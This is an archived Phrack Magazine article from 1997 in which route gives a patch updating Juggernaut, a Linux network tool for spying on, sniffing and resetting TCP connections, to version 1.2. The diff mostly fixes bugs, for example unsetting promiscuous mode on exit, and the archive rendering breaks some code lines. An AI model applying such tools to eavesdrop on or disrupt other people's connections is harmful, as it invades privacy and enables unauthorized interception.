home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack51.007 < prev    next >
Encoding:
Text File  |  2003-06-11  |  10.9 KB  |  352 lines

  1.  
  2. ---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 07 of 17
  3.  
  4.  
  5. -------------------------[  Juggernaut 1.2 update
  6.  
  7.  
  8. --------[  route <route@infonexus.com>
  9.  
  10.  
  11.  
  12.     Well, Juggernaut went out, and the bug reports came in...
  13. Juggernaut, the robust network tool for Linux, originally went out in Phrack
  14. 50.  This patchfile updates Juggernaut 1.0 (the version in P50-06) to version
  15. 1.2.  It offers the following:
  16.  
  17.     - Nonfunctional things like nomenclature and cosmetics.
  18.     - The IFF_PROMISC flag is unset upon exit.  Previously the program would
  19.       leave the network interface in promiscuous mode.
  20.     - We no longer are interested in HTTP connections (unless -DGREED is
  21.       defined).
  22.     - Connection Spying now works properly.
  23.     - Connection RSTing and Automated connection RSTing now work better.
  24.  
  25.  
  26.         Please keep the bug reports coming in!
  27.  
  28.     To extract this patchfile, use the included extraction utility to remove
  29. the patchfile from the article.  Then simply copy it into the Juggernaut
  30. directory and `patch <  juggernaut_1.0-1.2_patch`
  31.  
  32. <++> juggernaut_1.0-1.2_patch
  33.  
  34. --- NumberOneCrush/main.c    Thu May  8 15:37:02 1997
  35. +++ NumberOneCrush/main.c    Fri Jun  6 01:33:42 1997
  36. @@ -1,7 +1,7 @@
  37.  /*
  38.   *
  39.   *                        Juggernaut
  40. - *                    Version b2
  41. + *                    Version 1.2
  42.   *
  43.   *                            1996/7 Guild productions
  44.   *                 daemon9[guild|phrack|r00t]
  45. @@ -42,7 +42,7 @@
  46.  #define DEVICE "eth0"
  47.  #define LOGFILE "./juggernaut.log.spy"
  48.  
  49. -char version[]="1.0\0";
  50. +char version[]="1.2";
  51.  int sigsentry=1;            /* Signal sentry */
  52.  int ripsock=0;                /* RIP socket */
  53.  int linksock=0;                /* SOCK PACKET socket */
  54. @@ -96,8 +96,8 @@
  55.      char buf[MINIBUF]={0};
  56.      char token[2*MINIBUF]={0};
  57.      int c;
  58. -
  59. -    if(geteuid()||getuid()){                /* r00t? */
  60. +
  61. +    if(geteuid()||getuid()){                /* r00t? */
  62.          fprintf(stderr,"UID or EUID of 0 needed...\n");
  63.          exit(0);
  64.          }
  65. @@ -279,7 +279,7 @@
  66.          fgets(buf,sizeof(buf),stdin);
  67.          if(buf[0]==0x0a||buf[0]=='q')return;
  68.          if(!(int)(val=atoi(buf)))continue;
  69. -        if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");    
  70. +        if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
  71.          else break;
  72.      }
  73.      fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
  74. @@ -324,7 +324,7 @@
  75.      fgets(buf,sizeof(buf),stdin);
  76.      if(buf[0]==0x0a||buf[0]=='q')return;
  77.         if(!(int)(val=atoi(buf)))continue;
  78. -    if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
  79. +    if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
  80.      else break;
  81.      }
  82.      signal(SIGINT,convulsion);
  83. @@ -440,7 +440,7 @@
  84.  
  85.      fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);
  86.  
  87. -    fprintf(stderr,"\nJuggernaut compiled with the following options:\n");
  88. +    fprintf(stderr,"\nBuilt on %s %s with the following options:\n",__DATE__,__TIME__);
  89.  #ifdef MULTI_P
  90.      fprintf(stderr," Multi-processing\n");
  91.  #endif
  92. @@ -501,7 +501,7 @@
  93.          fgets(buf,sizeof(buf),stdin);
  94.          if(buf[0]==0x0a||buf[0]=='q')return;
  95.          if(!(int)(val=atoi(buf)))continue;
  96. -        if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");    
  97. +        if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
  98.          else break;
  99.      }
  100.      if(ntohs(target->dport)!=23){
  101. @@ -547,7 +547,7 @@
  102.          fgets(buf,sizeof(buf),stdin);
  103.          if(buf[0]==0x0a||buf[0]=='q')return;
  104.          if(!(int)(val=atoi(buf)))continue;
  105. -        if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");    
  106. +        if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
  107.          else break;
  108.      }
  109.      if(ntohs(target->dport)!=23){
  110. --- NumberOneCrush/mem.c    Thu May  8 15:37:02 1997
  111. +++ NumberOneCrush/mem.c    Fri Jun  6 01:33:09 1997
  112. @@ -1,7 +1,7 @@
  113.  /*
  114.   *
  115.   *                                  Juggernaut
  116. - *                                  Version b1
  117. + *                                  Version 1.2
  118.   *
  119.   *                            1996/7 Guild productions
  120.   *                           daemon9[guild|phrack|r00t]
  121. --- NumberOneCrush/menu.c    Thu May  8 15:37:02 1997
  122. +++ NumberOneCrush/menu.c    Fri Jun  6 01:33:32 1997
  123. @@ -1,7 +1,7 @@
  124.  /*
  125.   *
  126.   *                                  Juggernaut
  127. - *                                  Version b2
  128. + *                                  Version 1.2
  129.   *
  130.   *                            1996/7 Guild productions
  131.   *                           daemon9[guild|phrack|r00t]
  132. --- NumberOneCrush/net.c    Thu May  8 15:37:02 1997
  133. +++ NumberOneCrush/net.c    Fri Jun  6 01:32:56 1997
  134. @@ -1,7 +1,7 @@
  135.  /*
  136.   *
  137.   *                                  Juggernaut
  138. - *                                  Version b1
  139. + *                                  Version 1.2
  140.   *
  141.   *                            1996/7 Guild productions
  142.   *                           daemon9[guild|phrack|r00t]
  143. @@ -92,13 +92,14 @@
  144.   *  mode.
  145.   */
  146.  
  147. -int tap(device)
  148. +int tap(device,mode)
  149.  char *device;
  150. +int mode;
  151.  {
  152.      
  153.      int fd;                
  154.      struct ifreq ifr;   /* Link-layer interface request structure */
  155. -                        /* Ethernet code for IP 0x800==ETH_P_IP */
  156. +                        /* Ethernet code for IP 0x0800==ETH_P_IP */
  157.      if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){    
  158.          if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
  159.          exit(1);                    
  160. @@ -109,16 +110,22 @@
  161.          close(fd);
  162.            exit(1);
  163.      }
  164. -    ifr.ifr_flags|=IFF_PROMISC;                /* Set promiscuous mode */
  165. +    if(!mode)ifr.ifr_flags^=IFF_PROMISC;    /* Unset promiscuous mode */
  166. +    else ifr.ifr_flags|=IFF_PROMISC;        /* Set promiscuous mode */
  167.      if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){    /* Set flags */
  168. -        if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]");
  169. +        if(verbosity)perror("(tap) Can't set/unset promiscuous mode [fatal]");
  170.          close(fd);
  171.      exit(1);
  172.      }
  173. -    return(fd);
  174. +    if(!mode){
  175. +        close(fd);
  176. +        return(0);
  177. +    }
  178. +    else return(fd);
  179.  }
  180.  
  181.  
  182. +
  183.  /*
  184.   *  Gimme a raw-IP socket.  Use of IP_HDRINCL is automatic with 2.0.x
  185.   *  kernels.  Not sure about 1.2.x
  186. @@ -197,7 +204,6 @@
  187.          case 22:
  188.          case 23:
  189.          case 25:
  190. -        case 80:
  191.          case 513:
  192.          case 6667:
  193.              if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  194. @@ -235,7 +241,6 @@
  195.          case 22:
  196.          case 23:
  197.          case 25:
  198. -        case 80:
  199.          case 513:
  200.          case 6667:
  201.              if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
  202. @@ -261,7 +266,7 @@
  203.      void dumpp(char *,int,FILE *);
  204.  
  205.      extern int sigsentry;
  206. -    int tlinksock=tap(DEVICE);    /* Spying tap.  XXX- Really dumb way to do this... */
  207. +    int tlinksock=tap(DEVICE,1);    /* Spying tap.  XXX- Really dumb way to do this... */
  208.      time_t tp;
  209.  
  210.      ALIGNNETPOINTERS();
  211. @@ -272,20 +277,14 @@
  212.          time(&tp);
  213.          fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
  214.      }
  215. -            /* NO alaram timeout here.  SIGINT kills our spy session */
  216. -    while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp);
  217. +            /* NO alarm timeout here.  SIGINT kills our spy session */
  218. +    while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr && iphp->daddr==target->saddr && tcphp->dest==target->sport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epac
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227. k
  228. +
  229. +.tcp),fp);
  230.      
  231.      if(fp){
  232.          fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241. )
  242.  
  243. -
  244. -
  245. -
  246. -
  247. -
  248. -
  249. -
  250. -
  251.  );
  252.          time(&tp);
  253.          fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
  254. @@ -347,8 +346,8 @@
  255.          unsigned short tlen;
  256.      }*ppheader;
  257.           
  258. -    static int moot=0;
  259. -    int tlinksock=tap(DEVICE);
  260. +    int moot=0;
  261. +    int tlinksock=tap(DEVICE,1);
  262.  
  263.      ALIGNNETPOINTERS();
  264.  
  265. @@ -451,7 +450,7 @@
  266.      extern int ripsock;    
  267.      extern int acrstpid;
  268.      char *tempBuf=0;
  269. -    int tlinksock=tap(DEVICE);
  270. +    int tlinksock=tap(DEVICE,1);
  271.  
  272.      switch((acrstpid=fork())){     /* Drop a child to backround, return the
  273.                                     parent to continue */
  274. @@ -570,7 +569,7 @@
  275.      extern int netreadtimeout;
  276.      static int len;
  277.      char *tempBuf;
  278. -    int tlinksock=tap(DEVICE);
  279. +    int tlinksock=tap(DEVICE,1);
  280.  
  281.      ALIGNNETPOINTERS();
  282.  
  283. @@ -675,7 +674,7 @@
  284.      extern int netreadtimeout;
  285.      extern int sigsentry;
  286.      static int len;
  287. -    int tlinksock=tap(DEVICE);            
  288. +    int tlinksock=tap(DEVICE,1);            
  289.  
  290.      ALIGNNETPOINTERS();
  291.  
  292. @@ -799,7 +798,7 @@
  293.      int grabflag=0;                     /* Time to grab some packets */
  294.      unsigned long targetsourceip=0;
  295.      unsigned short targetsourceport=0;
  296. -    int tlinksock=tap(DEVICE);
  297. +    int tlinksock=tap(DEVICE,1);
  298.  
  299.      if(!(fp=fopen(SNIFLOG,"a+"))){      /* Log to file */
  300.          if(verbosity){
  301. --- NumberOneCrush/prometheus.c    Thu May  8 15:37:03 1997
  302. +++ NumberOneCrush/prometheus.c    Fri Jun  6 01:33:17 1997
  303. @@ -1,7 +1,7 @@
  304.  /*
  305.   *
  306.   *                                  Juggernaut
  307. - *                                  Version b2
  308. + *                                  Version 1.2
  309.   *
  310.   *                            1996/7 Guild productions
  311.   *                           daemon9[guild|phrack|r00t]
  312. --- NumberOneCrush/surplus.c    Thu May  8 15:37:03 1997
  313. +++ NumberOneCrush/surplus.c    Fri Jun  6 01:33:03 1997
  314. @@ -1,7 +1,7 @@
  315.  /*
  316.   *
  317.   *                                  Juggernaut
  318. - *                                  Version b2
  319. + *                                  Version 1.2
  320.   *
  321.   *                            1996/7 Guild productions
  322.   *                           daemon9[guild|phrack|r00t]
  323. @@ -29,6 +29,7 @@
  324.  #define HELPFILE    "./ClothLikeGauze/.help"
  325.  #define FBUFSIZE     80
  326.  #define MINIBUF      10
  327. +#define DEVICE      "eth0"
  328.  
  329.  extern int verbosity;
  330.  
  331. @@ -346,6 +347,7 @@
  332.  void cleanexit(){
  333.  
  334.      void powerdown();
  335. +    int tap(char *,int);
  336.  
  337.      extern int ripsock;
  338.      extern int hpid;
  339. @@ -353,6 +355,7 @@
  340.  
  341.      close(ripsock);
  342.      powerdown();
  343. +    tap(DEVICE,0);                          /* Unset promisc mode on the interface */
  344.      if(kill(hpid,SIGUSR1))if(verbosity){    /* Send signal to the hunter */
  345.          perror("(cleanexit) Could not signal hunter");
  346.          fprintf(stderr,"[cr]");
  347. <-->
  348.  
  349.  
  350.  
  351. ----[  EOF
  352.